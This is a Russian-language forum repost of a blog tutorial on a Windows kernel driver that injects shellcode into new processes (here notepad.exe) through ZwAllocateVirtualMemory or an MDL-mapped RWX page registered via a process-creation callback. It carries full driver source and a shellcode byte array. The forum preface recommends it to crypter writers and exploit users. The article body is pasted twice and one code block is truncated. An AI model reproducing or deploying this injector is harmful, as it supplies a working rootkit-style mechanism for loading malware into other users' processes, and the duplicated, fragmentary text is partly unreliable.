Попался не плохой бложек по реверсу и статейка будет полезна, кто любит писать крипторы, ну либо запускать всякие сплоиты прям из своей программы...:)
Сам бложек вот:
Статейка новая:
Всем привет! Сегодня мы затронем очень интересную тему, повествующую о написании драйвера, который будет внедрять код в адресное пространство таргетированного процесса двумя способами.
Наверное, Вы сразу подумаете, «зачем это делать из режима ядра, если можно использовать такие API функции из режима пользователя, как OpenProcess,WriteProcessMemory и тд?». На это хочется сразу ответить, что разобраться как работать с памятью из режима ядра — очень полезный скил, который пригодится в дальнейшем, как для реверса коварной малвари (особенно это касается руткитов/буткитов), так и для написания каких-либо более-менее серьёзных механизмов защиты. К примеру, можно будет написать программу, которая будет снимать дамп нужного процесса. При этом можно будет быть уверенным, что дамп снимется таким, какой он есть, а не с затёртым кодом.
Сейчас наша задача — внедрить свой shell код в адресное пространство целевого процесса. А лучше установить нотификатор на создание процесса. Нотификатор — это такая процедура, которая вызываетсясистемой тогда, когда происходит определённое событие. Это может быть создание/завершение процесса/потока, загрузка/выгрузка образа и тд. Если вы пишите свой защитный механизм и реализуете в нём перехваты API функций, то лучше всего сделать это через установку нотификатора. Кстатиговоря, думаю, вы уже догадались, что вредоносное ПО также использует этот механизм в своих целях.
Способ 1. Используем ZwAllocateVirtualMemory:
Этот способ почти такой же, как и использование последовательности вызовов OpenProcess, VirtualAllocate в режиме пользователя. Алгоритм тут такой:
Следующий параметр — тип выделяемой памяти. Сюда выставляем MEM_COMMIT, для нас это обычное дело :-). Далее идёт размер памяти, который мы хотим выделить и права, который мы, естественно выставим на PAGE_EXECUTE_READWRITE. Дескриптор процесса мы можем получить разными способами, но наиболее удобным для нас будет — вызов функции NtCurrentProcess. Она возвращает дескриптор текущего процесса. Чтобы какой-либо процесс стал для нас текущим , мы должны будем к нему приаттатчиться, используя функцию KeAttachProcess. Ниже будет приведена функция, которая это реализует.
Проверяем, это работает! Наш шелкод окажется в адресном пространстве нужного процесса. А теперь представьте, что вы по каким-то причинам захотели внедрять из ядра код во все запушенные процессы, или будите внедрять код во все только что запустившиеся процессы. В этом случае, использование данного метода будет приносить некоторые неудобства. Первое — выделить память размером меньше, чем размер страницы нельзя. Минимальный размер страницы — 1кб (бывает и 4кб, в зависимости от настроек системы). Если у вас запущено 100 процессов, и в каждый вы внедрите код, то истратите аж 100 страниц памяти! Это довольно расточительно. А если вы вдруг захотите изменить shell code, на другой, то что тогда?! Будите его искать в каждом процессе и исправлять? Вот в этом случае давайте рассмотрим второй способ.
Способ 2. Отображение глобальной страницы памяти в адресное пространство процесса
В этот раз мы изменим логику работы драйвера. Мы не будем 100 раз выделять память в контексте какого-то процесса, а вместо этого выделим одну страницу неподкачиваемой памяти, выставим на неё нужный права и заполним её shell кодом. После этого отобразим эту страницу во все нужные нам процессы. Под «отобразим» я имею ввиду — предоставим к неё доступ. У каждого процесса виртуальный адрес отображённой нами страницы может быть разным, но всегда вести он будет к одной нашей странице с shell кодом. Поэтому, если мы изменим логику работы shell кода, то есть перепишем его в той глобальной странице памяти, которую проецируем в пользовательские процессы, то результат отразится на всех сразу. Для отображения какой-либо страницы мы будем придерживаться следующего алгоритма:
Отображение физической страницы в виртуальную память процессов через MDL
Давайте остановимся по подробнее о том, что такое MDL.
Memory Descriptor List
MDL — это такая структура, которая описывает регион физических страниц. Из этого утверждения следует, что с помощью нею можно описать регион физической памяти, а не виртуальной. Поэтому, мы в первом шаге будем выделять память с помощью ExAllocatePool, с первым параметром — NonPagedPool, который означает, что выделенный кусок будет храниться именно в оперативке и никогда не будет сброшен в файл подкачки. Сама эта структура представляет из себя заголовок и тело, которое идёт сразу после него. Заголовок MDL представлен ниже:
Структура MDL
Сразу после этого заголовка идёт массив двойных слов Pages, каждый из которых представлен номер физической страницы page frame number (PFN). Вообще, я тут пытаюсь пересказать статью из KMD TUT от MS-Remа, так что, настоятельно советую прочитать его. Итак, в общем виде, функция по отображению физической страницы в память процесса будет такая:
Устанавливаем нотификатор на создание процесса и тестим
Теперь, давайте проверять, как всё работает. Сделаем так, чтобы shell code проецировался во все запускаемые процессы с каким-нибудь именем, у меня на этот раз это notepad.exe. Для этого напишем специальную call back функцию, которая будет вызываться всякий раз, когда какой либо процесс будет создан. В ней мы проверим имя процесса и, если оно совпадает с нашим, то проинжектим туда код, отобразим неподкачиваемую физическую страницу с нашем шелл кодом в адресное пространство конечного процесса. Согласно документации, функция нотификатора должна иметь следующий прототип:
Система передаст в hParentId идентификатор родительского процесса, в hProcessId — идентификатор новосозданного процесса, а в bCreate будет true, если процесс создался и false — в противном случае. Учитывая это, пишем код:
Зарегистрировать функцию нотификатор нужно в функции DriverEntry. Делается это так:
Когда драйвер выгружается, нужно обязательно снять нотификатор! Делается это аналогично, только вместо последнего параметра передаётся TRUE. Если драйвер выгрузится, а нотификатор останется, то у вас вывалится BSOD с ошибкой DRIVER_UNLOADED_WITHOUT_CANCELLING_PENDING_OPERATIONS.
Итак, смотрим результат
Демонстрация отображение одной страницы в два процесса
Мы видим, что по адресу 0x864a3f08 располагается наш shellcode. Эта та самая страница, которая находится в неподкачиваемом пуле. Она и проецируется в адресное пространство процесса. Также, мы видим, что по виртуальному адресу 0x30f08 у нас отображается эта страница. В моём случае, виртуальные адреса спроецированной страницы совпали, но это не обязательно. Ладно, посмотрим, что у нас по адресу 0x864a3f08, а что по адресу 0x30f08.
Страница с шелл кодом в ядре отображается в виртуальное адресное пространство процесса режима пользователя
Мы тут отчётливо видим, что по виртуальному адресу0x00030F008 у нас находятся те же данные (тот же шелл), что и по адресу 0x864a3F08. Просто VA у нас спроецирован на него, вот мы и видим одно и тоже. Хорошо, давайте, теперь проведём эксперимент. Изменим первые байты шелкода (47 F9 93 9B) на 90 90 90 90 и посмотрим, отразятся ли изменения в двух процессах. Для этого выполним в отладчике ядра команду ed 0x864a3f08 90909090. Переаттатчимся Olly Debug ом и посмотрим, что теперь у нас в памяти:
Изменения в отображаемой странице памяти режима ядра видны во всех процессах, куда отображалась страница
Ага! Во всех процессах, куда была спроецирована страница памяти произошли изменения! А всё потому, что страница-то у нас одна, просто отображается она в разные адресные пространства процессов. Ну, теперь, задача с внедрением кода решена, осталось только передать на него управление. Как это сделать, это другая уже тема, можно, например,
Сам бложек вот:
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Статейка новая:
Всем привет! Сегодня мы затронем очень интересную тему, повествующую о написании драйвера, который будет внедрять код в адресное пространство таргетированного процесса двумя способами.
Наверное, Вы сразу подумаете, «зачем это делать из режима ядра, если можно использовать такие API функции из режима пользователя, как OpenProcess,WriteProcessMemory и тд?». На это хочется сразу ответить, что разобраться как работать с памятью из режима ядра — очень полезный скил, который пригодится в дальнейшем, как для реверса коварной малвари (особенно это касается руткитов/буткитов), так и для написания каких-либо более-менее серьёзных механизмов защиты. К примеру, можно будет написать программу, которая будет снимать дамп нужного процесса. При этом можно будет быть уверенным, что дамп снимется таким, какой он есть, а не с затёртым кодом.
Сейчас наша задача — внедрить свой shell код в адресное пространство целевого процесса. А лучше установить нотификатор на создание процесса. Нотификатор — это такая процедура, которая вызываетсясистемой тогда, когда происходит определённое событие. Это может быть создание/завершение процесса/потока, загрузка/выгрузка образа и тд. Если вы пишите свой защитный механизм и реализуете в нём перехваты API функций, то лучше всего сделать это через установку нотификатора. Кстатиговоря, думаю, вы уже догадались, что вредоносное ПО также использует этот механизм в своих целях.
Способ 1. Используем ZwAllocateVirtualMemory:
Этот способ почти такой же, как и использование последовательности вызовов OpenProcess, VirtualAllocate в режиме пользователя. Алгоритм тут такой:
- Аттатчимся в нужный процесс
- Получаем дескриптор этого процесса
- Вызываем ZwAllocateVirtualMemory
Следующий параметр — тип выделяемой памяти. Сюда выставляем MEM_COMMIT, для нас это обычное дело :-). Далее идёт размер памяти, который мы хотим выделить и права, который мы, естественно выставим на PAGE_EXECUTE_READWRITE. Дескриптор процесса мы можем получить разными способами, но наиболее удобным для нас будет — вызов функции NtCurrentProcess. Она возвращает дескриптор текущего процесса. Чтобы какой-либо процесс стал для нас текущим , мы должны будем к нему приаттатчиться, используя функцию KeAttachProcess. Ниже будет приведена функция, которая это реализует.
Код:
DWORD InsertCodeToProcess(LPVOID shellcode_, DWORD shellcodeSize_, PEPROCESS eProcess)
{
KEVENT Event;
HANDLE hThread = 0;
HANDLE hProcessHandle = 0;
NTSTATUS status = -1;
LPVOID memory = NULL;
DWORD size = shellcodeSize_;
KeAttachProcess(eProcess);
hProcessHandle = NtCurrentProcess();
if (hProcessHandle)
{
status = ZwAllocateVirtualMemory(hProcessHandle, &memory, 0, &size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (NT_SUCCESS(status))
{
#ifdef DEBUG
DbgPrint("Allocated memory %s!: 0x%08x, size: %d, hProcessHandle: 0x%08x\n", PsGetProcessImageFileName(eProcess), memory, size, hProcessHandle);
#endif
memcpy(memory, shellcode_, shellcodeSize_);
#ifdef DEBUG
DbgPrint("0x%02x, 0x%02x, 0x%02x, 0x%02x\n", *(char *)memory, *(unsigned char *)((DWORD)memory+1), *(unsigned char *)((DWORD)memory+2), *(unsigned char *)((DWORD)memory+3));
#endif
}
}
else
{
#ifdef DEBUG
DbgPrint("Process HANDLE error!!!: hProcessHandle: 0x%08x\n", hProcessHandle);
#endif
}
KeDetachProcess();
return status;
}
Способ 2. Отображение глобальной страницы памяти в адресное пространство процесса
В этот раз мы изменим логику работы драйвера. Мы не будем 100 раз выделять память в контексте какого-то процесса, а вместо этого выделим одну страницу неподкачиваемой памяти, выставим на неё нужный права и заполним её shell кодом. После этого отобразим эту страницу во все нужные нам процессы. Под «отобразим» я имею ввиду — предоставим к неё доступ. У каждого процесса виртуальный адрес отображённой нами страницы может быть разным, но всегда вести он будет к одной нашей странице с shell кодом. Поэтому, если мы изменим логику работы shell кода, то есть перепишем его в той глобальной странице памяти, которую проецируем в пользовательские процессы, то результат отразится на всех сразу. Для отображения какой-либо страницы мы будем придерживаться следующего алгоритма:
- Выделяем пулл неподкачиваемой памяти с помощью ExAllocatePool
- Выделяем место для MDL, которая опишет нам все занимаемые физические адреса. Юзаем IoAllocateMdl
- Заполняем тело MDL, используя MmBuildMdlForNonPagedPool
- Назначаем RWX права нашему региону памяти с помощью MmProtectMdlSystemAddress
- Копируем в пулл памяти наш shell code
- Ататтчимся к целевому процессу с помощью KeAttachProcess
- Отображаем нашу глобальную страницу памяти, описанную с помощью MDL в адресное пространство процесса, используя MmMapLockedPagesSpecifyCache
Отображение физической страницы в виртуальную память процессов через MDL
Давайте остановимся по подробнее о том, что такое MDL.
Memory Descriptor List
MDL — это такая структура, которая описывает регион физических страниц. Из этого утверждения следует, что с помощью нею можно описать регион физической памяти, а не виртуальной. Поэтому, мы в первом шаге будем выделять память с помощью ExAllocatePool, с первым параметром — NonPagedPool, который означает, что выделенный кусок будет храниться именно в оперативке и никогда не будет сброшен в файл подкачки. Сама эта структура представляет из себя заголовок и тело, которое идёт сразу после него. Заголовок MDL представлен ниже:
Структура MDL
Сразу после этого заголовка идёт массив двойных слов Pages, каждый из которых представлен номер физической страницы page frame number (PFN). Вообще, я тут пытаюсь пересказать статью из KMD TUT от MS-Remа, так что, настоятельно советую прочитать его. Итак, в общем виде, функция по отображению физической страницы в память процесса будет такая:
Код:
LPVOID InsertCodeToProcessWithMDL(LPVOID shellcode_, DWORD shellcodeSize_, PEPROCESS eProcess, PMDL pMdl)
{
NTSTATUS status = -1;
LPVOID address = NULL;
kernel_memory = ExAllocatePool(NonPagedPool, shellcodeSize_);
//allocate mem for MDL header and init
pMdl = IoAllocateMdl(kernel_memory, shellcodeSize_, FALSE, FALSE, NULL);
//Fill MDL Body to phisical frame numbers
MmBuildMdlForNonPagedPool(pMdl);
//
MmProtectMdlSystemAddress(pMdl, PAGE_EXECUTE_READWRITE);
//copy shellcode to global mem
memcpy(kernel_memory, shellcode_, shellcodeSize_);
KeAttachProcess(eProcess);
address = (LPVOID)MmMapLockedPagesSpecifyCache(pMdl, UserMode, MmCached, NULL, FALSE, NormalPagePriority);
DbgPrint("InsertCodeToProcessWithMDL, address: 0x%08x", address);
#ifdef DEBUG
if (eProcess)
DbgPrint("Process: %s Mapped VA address: 0x%08x %02x", PsGetProcessImageFileName(eProcess), address, *(char *)address);
#endif
KeDetachProcess();
return address;
}
Устанавливаем нотификатор на создание процесса и тестим
Теперь, давайте проверять, как всё работает. Сделаем так, чтобы shell code проецировался во все запускаемые процессы с каким-нибудь именем, у меня на этот раз это notepad.exe. Для этого напишем специальную call back функцию, которая будет вызываться всякий раз, когда какой либо процесс будет создан. В ней мы проверим имя процесса и, если оно совпадает с нашим, то проинжектим туда код, отобразим неподкачиваемую физическую страницу с нашем шелл кодом в адресное пространство конечного процесса. Согласно документации, функция нотификатора должна иметь следующий прототип:
Код:
void NotifyRoutine(IN HANDLE hParentId, IN HANDLE hProcessId, IN BOOLEAN bC
Код:
void NotifyRoutine(IN HANDLE hParentId, IN HANDLE hProcessId, IN BOOLEAN bCreate)
{
LPSTR processName;
PEPROCESS eProcess = NULL;
NTSTATUS status = -1;
LPVOID address = NULL;
if (bCreate)
{
status = PsLookupProcessByProcessId(hProcessId, &eProcess);
processName = PsGetProcessImageFileName(eProcess);
if (strcmp(ProcessName, processName) == 0)
{
address = InsertCodeToProcessWithMDL(eProcess);
#ifdef DEBUG
DbgPrint("\n\nNotify: shell address: 0x%08x: \n\n", address);
#endif
}
ObDereferenceObject(eProcess);
}
}
Код:
status = PsSetCreateProcessNotifyRoutine(NotifyRoutine, FALSE);
Итак, смотрим результат
Демонстрация отображение одной страницы в два процесса
Мы видим, что по адресу 0x864a3f08 располагается наш shellcode. Эта та самая страница, которая находится в неподкачиваемом пуле. Она и проецируется в адресное пространство процесса. Также, мы видим, что по виртуальному адресу 0x30f08 у нас отображается эта страница. В моём случае, виртуальные адреса спроецированной страницы совпали, но это не обязательно. Ладно, посмотрим, что у нас по адресу 0x864a3f08, а что по адресу 0x30f08.
Страница с шелл кодом в ядре отображается в виртуальное адресное пространство процесса режима пользователя
Мы тут отчётливо видим, что по виртуальному адресу0x00030F008 у нас находятся те же данные (тот же шелл), что и по адресу 0x864a3F08. Просто VA у нас спроецирован на него, вот мы и видим одно и тоже. Хорошо, давайте, теперь проведём эксперимент. Изменим первые байты шелкода (47 F9 93 9B) на 90 90 90 90 и посмотрим, отразятся ли изменения в двух процессах. Для этого выполним в отладчике ядра команду ed 0x864a3f08 90909090. Переаттатчимся Olly Debug ом и посмотрим, что теперь у нас в памяти:
Изменения в отображаемой странице памяти режима ядра видны во всех процессах, куда отображалась страница
Ага! Во всех процессах, куда была спроецирована страница памяти произошли изменения! А всё потому, что страница-то у нас одна, просто отображается она в разные адресные пространства процессов. Ну, теперь, задача с внедрением кода решена, осталось только передать на него управление. Как это сделать, это другая уже тема, можно, например,
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
. Сейчас я приведу полный код драйвера, который может производить инжекты двумя способами.
Код:
#define deviceName L"\\Device\\KernelCodeInject"
#define symbolicName L"\\DosDevices\\KernelCodeInject"
#define DEBUG
#pragma comment(lib,"ntoskrnl.lib")
#pragma comment(lib,"Ntstrsafe.lib")
ULONG ActiveProcessLinkOffset;
ULONG ProcessNameOffset;
ULONG PIDOffset;
LPSTR ProcessName = "notepad.exe";
LPVOID kernel_memory = NULL;
PMDL pMdl = NULL;
int shellcodeSize = 0;
/*exec calc.exe*/
char shellcode[] =
"\x47\xf9\x93\x9b\x58\x9f\x4a\xf5\x5a\xf5\x16\x48\x4d\x5b"
"\xf8\xfd\x52\x99\x06\x50\xd9\xcc\xbe\x56\x6c\xdf\xb1\xd9"
"\x74\x24\xf4\x5f\x2b\xc9\xb1\x31\x31\x77\x18\x83\xef\xfc"
"\x03\x77\x42\x8e\x2a\x4d\x82\xcc\xd5\xae\x52\xb1\x5c\x4b"
"\x63\xf1\x3b\x1f\xd3\xc1\x48\x4d\xdf\xaa\x1d\x66\x54\xde"
"\x89\x89\xdd\x55\xec\xa4\xde\xc6\xcc\xa7\x5c\x15\x01\x08"
"\x5d\xd6\x54\x49\x9a\x0b\x94\x1b\x73\x47\x0b\x8c\xf0\x1d"
"\x90\x27\x4a\xb3\x90\xd4\x1a\xb2\xb1\x4a\x11\xed\x11\x6c"
"\xf6\x85\x1b\x76\x1b\xa3\xd2\x0d\xef\x5f\xe5\xc7\x3e\x9f"
"\x4a\x26\x8f\x52\x92\x6e\x37\x8d\xe1\x86\x44\x30\xf2\x5c"
"\x37\xee\x77\x47\x9f\x65\x2f\xa3\x1e\xa9\xb6\x20\x2c\x06"
"\xbc\x6f\x30\x99\x11\x04\x4c\x12\x94\xcb\xc5\x60\xb3\xcf"
"\x8e\x33\xda\x56\x6a\x95\xe3\x89\xd5\x4a\x46\xc1\xfb\x9f"
"\xfb\x88\x91\x5e\x89\xb6\xd7\x61\x91\xb8\x47\x0a\xa0\x33"
"\x08\x4d\x3d\x96\x6d\xb1\xdf\x33\x9b\x5a\x46\xd6\x26\x07"
"\x79\x0c\x64\x3e\xfa\xa5\x14\xc5\xe2\xcf\x11\x81\xa4\x3c"
"\x6b\x9a\x40\x43\xd8\x9b\x40\x20\xbf\x0f\x08\x89\x5a\xa8"
"\xab\xd5";
UNICODE_STRING SymbolicLinkName;
PDEVICE_OBJECT deviceObject;
int initGlobalMemory();
void freeGlogalMemory();
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDeviceObject, IN PUNICODE_STRING RegistryPath);
NTSTATUS CtlDriverDispatch(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp);
NTSTATUS CtlPass(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp);
void CtlUnloadRoutine(IN PDRIVER_OBJECT pDeviceObject);
Код:
#include <ntifs.h>
#include <ntddk.h>
#include <Ntstrsafe.h>
#include "types.h"
#include "driver.h"
#include "functions.h"
#include "kernel-inject.h"
#include "kernel-inject-mdl.h"
//инициализирует глобальные переменные
int initGlobalMemory()
{
kernel_memory = NULL;
pMdl = NULL;
shellcodeSize = sizeof(shellcode);
if (shellcodeSize > 0)
{
//allocate global memory in kernel space
kernel_memory = ExAllocatePool(NonPagedPool, shellcodeSize);
if (kernel_memory)
{
//allocate mem for MDL header and init
pMdl = IoAllocateMdl(kernel_memory, shellcodeSize, FALSE, FALSE, NULL);
//Fill MDL Body to phisical frame numbers
MmBuildMdlForNonPagedPool(pMdl);
MmProtectMdlSystemAddress(pMdl, PAGE_EXECUTE_READWRITE);
//copy shellcode to global mem
memcpy(kernel_memory, shellcode, shellcodeSize);
#ifdef DEBUG
DbgPrint("\nglobal mem: %08x, shellcode byts: %08x, shellcodeSize: %08x, shellcode g byts: %08x\n",
kernel_memory,
*(DWORD*)shellcode,
shellcodeSize,
*(DWORD*)kernel_memory);
#endif
return 1;
}
}
return 0;
}
void freeGlogalMemory()
{
if (pMdl)
IoFreeMdl(pMdl);
if (kernel_memory)
ExFreePool(kernel_memory);
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDeviceObject, IN PUNICODE_STRING RegistryPath)
{
NTSTATUS status;
UNICODE_STRING DeviceName;
PDRIVER_DISPATCH *pDispacher;
PEPROCESS process;
DWORD pid;
LPVOID userSpaceShellAddress;
LPVOID address = NULL;
RtlInitUnicodeString(&DeviceName, deviceName);
RtlInitUnicodeString(&SymbolicLinkName, symbolicName);
status = IoCreateDevice(pDeviceObject,0,&DeviceName,FILE_DEVICE_NULL,0,FALSE,&deviceObject);
if (status == STATUS_SUCCESS)
{
status = IoCreateSymbolicLink(&SymbolicLinkName,&DeviceName);
pDispacher = pDeviceObject->MajorFunction;
pDeviceObject->DriverUnload = CtlUnloadRoutine;
pDispacher[IRP_MJ_DEVICE_CONTROL] = CtlDriverDispatch;
pDispacher[IRP_MJ_WRITE] = CtlPass;
pDispacher[IRP_MJ_READ] = CtlPass;
pDispacher[IRP_MJ_CREATE] = CtlPass;
pDispacher[IRP_MJ_CLOSE] = CtlPass;
if (status == STATUS_SUCCESS)
{
#ifdef DEBUG
DbgPrint("\ndriver has been loaded!\n");
#endif
if (!InitParams())
{
#ifdef DEBUG
DbgPrint("Unsupported OS!\n");
#endif
return -1;
}
if (!initGlobalMemory())
DbgPrint("\nError Init Global Vars!\n");
status = PsSetCreateProcessNotifyRoutine(NotifyRoutine, FALSE);
#ifdef DEBUG
if (NT_SUCCESS(status))
DbgPrint("NotifyRoutineSet Ok!\n");
else
DbgPrint("NotifyRoutineSet False!\n");
#endif
}
}
else
{
#ifdef DEBUG
DbgPrint("driver not loaded!");
#endif
}
return status;
}
NTSTATUS CtlDriverDispatch(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp)
{
PIO_STACK_LOCATION pIrpStack;
DWORD inSize, ioctl;
pIrpStack = IoGetCurrentIrpStackLocation(Irp);
ioctl = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
inSize = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS CtlPass(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp)
{
Irp->IoStatus.Status=STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
void CtlUnloadRoutine(IN PDRIVER_OBJECT pDeviceObject)
{
NTSTATUS status;
status = PsSetCreateProcessNotifyRoutine(NotifyRoutine, TRUE);
Sleep(3000);
if (status == STATUS_SUCCESS)
{
#ifdef DEBUG
DbgPrint("Notifi Removed!\n");
#endif
}
freeGlogalMemory();
status = IoDeleteSymbolicLink(&SymbolicLinkName);
if (status == STATUS_SUCCESS) {
IoDeleteDevice(deviceObject);
#ifdef DEBUG
DbgPrint("driver has been unloaded!\n");
#endif
return;
}
#ifdef DEBUG
DbgPrint("driver has`t been unloaded!");
#endif
}
Код:
#include <ntifs.h>
#include <ntddk.h>
#include <string.h>
#include <Ntstrsafe.h>
//#include "driver.h"
//inicilise in driver.h from 13 lines
extern ULONG ActiveProcessLinkOffset;
extern ULONG ProcessNameOffset;
extern ULONG PIDOffset;
extern LPSTR ProcessName;
extern LPVOID kernel_memory;
extern int shellcodeSize;
extern PMDL pMdl;
//////////////////////////////////////
extern PSHORT NtBuildNumber;
int InitParams();
LPSTR PsGetProcessImageFileName(PEPROCESS Process);
DWORD getPidByName(LPSTR processName);
BOOLEAN Sleep(ULONG MillionSecond);
void NotifyRoutine(IN HANDLE hParentId, IN HANDLE hProcessId, IN BOOLEAN bCreate);
Код:
#include "types.h"
#include "functions.h"
#include "kernel-inject-mdl.h"
int InitParams()
{
// ? wo(nt!NtBuildNumber)
switch (*NtBuildNumber) {
case 2195: // Win 2k
ActiveProcessLinkOffset = 0xA0;
ProcessNameOffset = 0x01FC;
PIDOffset = 0x09C;
break;
case 2600: // Win XP
ActiveProcessLinkOffset = 0x88;
ProcessNameOffset = 0x174;
PIDOffset = 0x084;
break;
case 3790: // W2K3
ActiveProcessLinkOffset = 0x98;
ProcessNameOffset = 0x164;
PIDOffset = 0x094;
break;
case 7600:
ActiveProcessLinkOffset = 0x0b8;
ProcessNameOffset = 0x16c;
PIDOffset = 0x0b4;
break;
}
#ifdef DEBUG
DbgPrint("NtBuildNumber: 0x%08x\n", *NtBuildNumber);
DbgPrint("ActiveProcessLinkOffset: 0x%08x\n", ActiveProcessLinkOffset);
DbgPrint("ProcessNameOffset: 0x%08x\n", ProcessNameOffset);
DbgPrint("PIDOffset: 0x%08x\n", PIDOffset);
#endif
return (ActiveProcessLinkOffset != 0);
}
DWORD getPidByName(LPSTR processName)
{
PEPROCESS CurrentProcess;
PLIST_ENTRY CurrentProcessAPL;
PLIST_ENTRY ProcessAPL;
ULONG ProcessPID;
PCHAR ProcessName;
DWORD result = 0;
CurrentProcess = PsGetCurrentProcess();
if (!CurrentProcess)
return result;
CurrentProcessAPL = (PLIST_ENTRY)((ULONG)CurrentProcess + ActiveProcessLinkOffset);
ProcessAPL = CurrentProcessAPL;
do
{
ProcessPID = *(PULONG)((ULONG)ProcessAPL - ActiveProcessLinkOffset + PIDOffset);
ProcessName = (PCHAR)((ULONG)ProcessAPL - ActiveProcessLinkOffset + ProcessNameOffset);
if (strcmp(ProcessName, processName) == 0)
{
result = ProcessPID;
#ifdef DEBUG
DbgPrint("getPidByName %s pid: %u", processName, ProcessPID);
#endif
break;
}
ProcessAPL = ProcessAPL -> Flink;
} while (ProcessAPL != CurrentProcessAPL);
return result;
}
BOOLEAN Sleep(ULONG MillionSecond)
{
NTSTATUS st;
LARGE_INTEGER DelayTime;
DelayTime = RtlConvertLongToLargeInteger(-10000*MillionSecond);
st=KeDelayExecutionThread( KernelMode, FALSE, &DelayTime );
return (NT_SUCCESS(st));
}
void NotifyRoutine(IN HANDLE hParentId, IN HANDLE hProcessId, IN BOOLEAN bCreate)
{
LPSTR processName;
PEPROCESS eProcess = NULL;
NTSTATUS status = -1;
LPVOID address = NULL;
if (bCreate)
{
status = PsLookupProcessByProcessId(hProcessId, &eProcess);
processName = PsGetProcessImageFileName(eProcess);
if (strcmp(ProcessName, processName) == 0)
{
address = InsertCodeToProcessWithMDL(eProcess);
#ifdef DEBUG
DbgPrint("\n\nNotify: shell address: 0x%08x: \n\n", address);
#endif
}
ObDereferenceObject(eProcess);
}
}
Код:
#include <ntifs.h>
#include <ntddk.h>
#include <string.h>
#include <Ntstrsafe.h>
DWORD InsertCodeToProcess(LPVOID shellcode_, DWORD shellcodeSize_, PEPROCESS eProcess);
Код:
#include <ntifs.h>
#include <ntddk.h>
#include <Ntstrsafe.h>
#include "types.h"
#include "functions.h"
DWORD InsertCodeToProcess(LPVOID shellcode_, DWORD shellcodeSize_, PEPROCESS eProcess)
{
KEVENT Event;
HANDLE hThread = 0;
HANDLE hProcessHandle = 0;
NTSTATUS status = -1;
LPVOID memory = NULL;
DWORD size = shellcodeSize_;
KeAttachProcess(eProcess);
hProcessHandle = NtCurrentProcess();
if (hProcessHandle)
{
status = ZwAllocateVirtualMemory(hProcessHandle, &memory, 0, &size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (NT_SUCCESS(status))
{
#ifdef DEBUG
DbgPrint("Allocated memory %s!: 0x%08x, size: %d, hProcessHandle: 0x%08x\n", PsGetProcessImageFileName(eProcess), memory, size, hProcessHandle);
#endif
memcpy(memory, shellcode_, shellcodeSize_);
#ifdef DEBUG
DbgPrint("0x%02x, 0x%02x, 0x%02x, 0x%02x\n", *(char *)memory, *(unsigned char *)((DWORD)memory+1), *(unsigned char *)((DWORD)memory+2), *(unsigned char *)((DWORD)memory+3));
#endif
}
}
else
{
#ifdef DEBUG
DbgPrint("Process HANDLE error!!!: hProcessHandle: 0x%08x\n", hProcessHandle);
#endif
}
KeDetachProcess();
return status;
}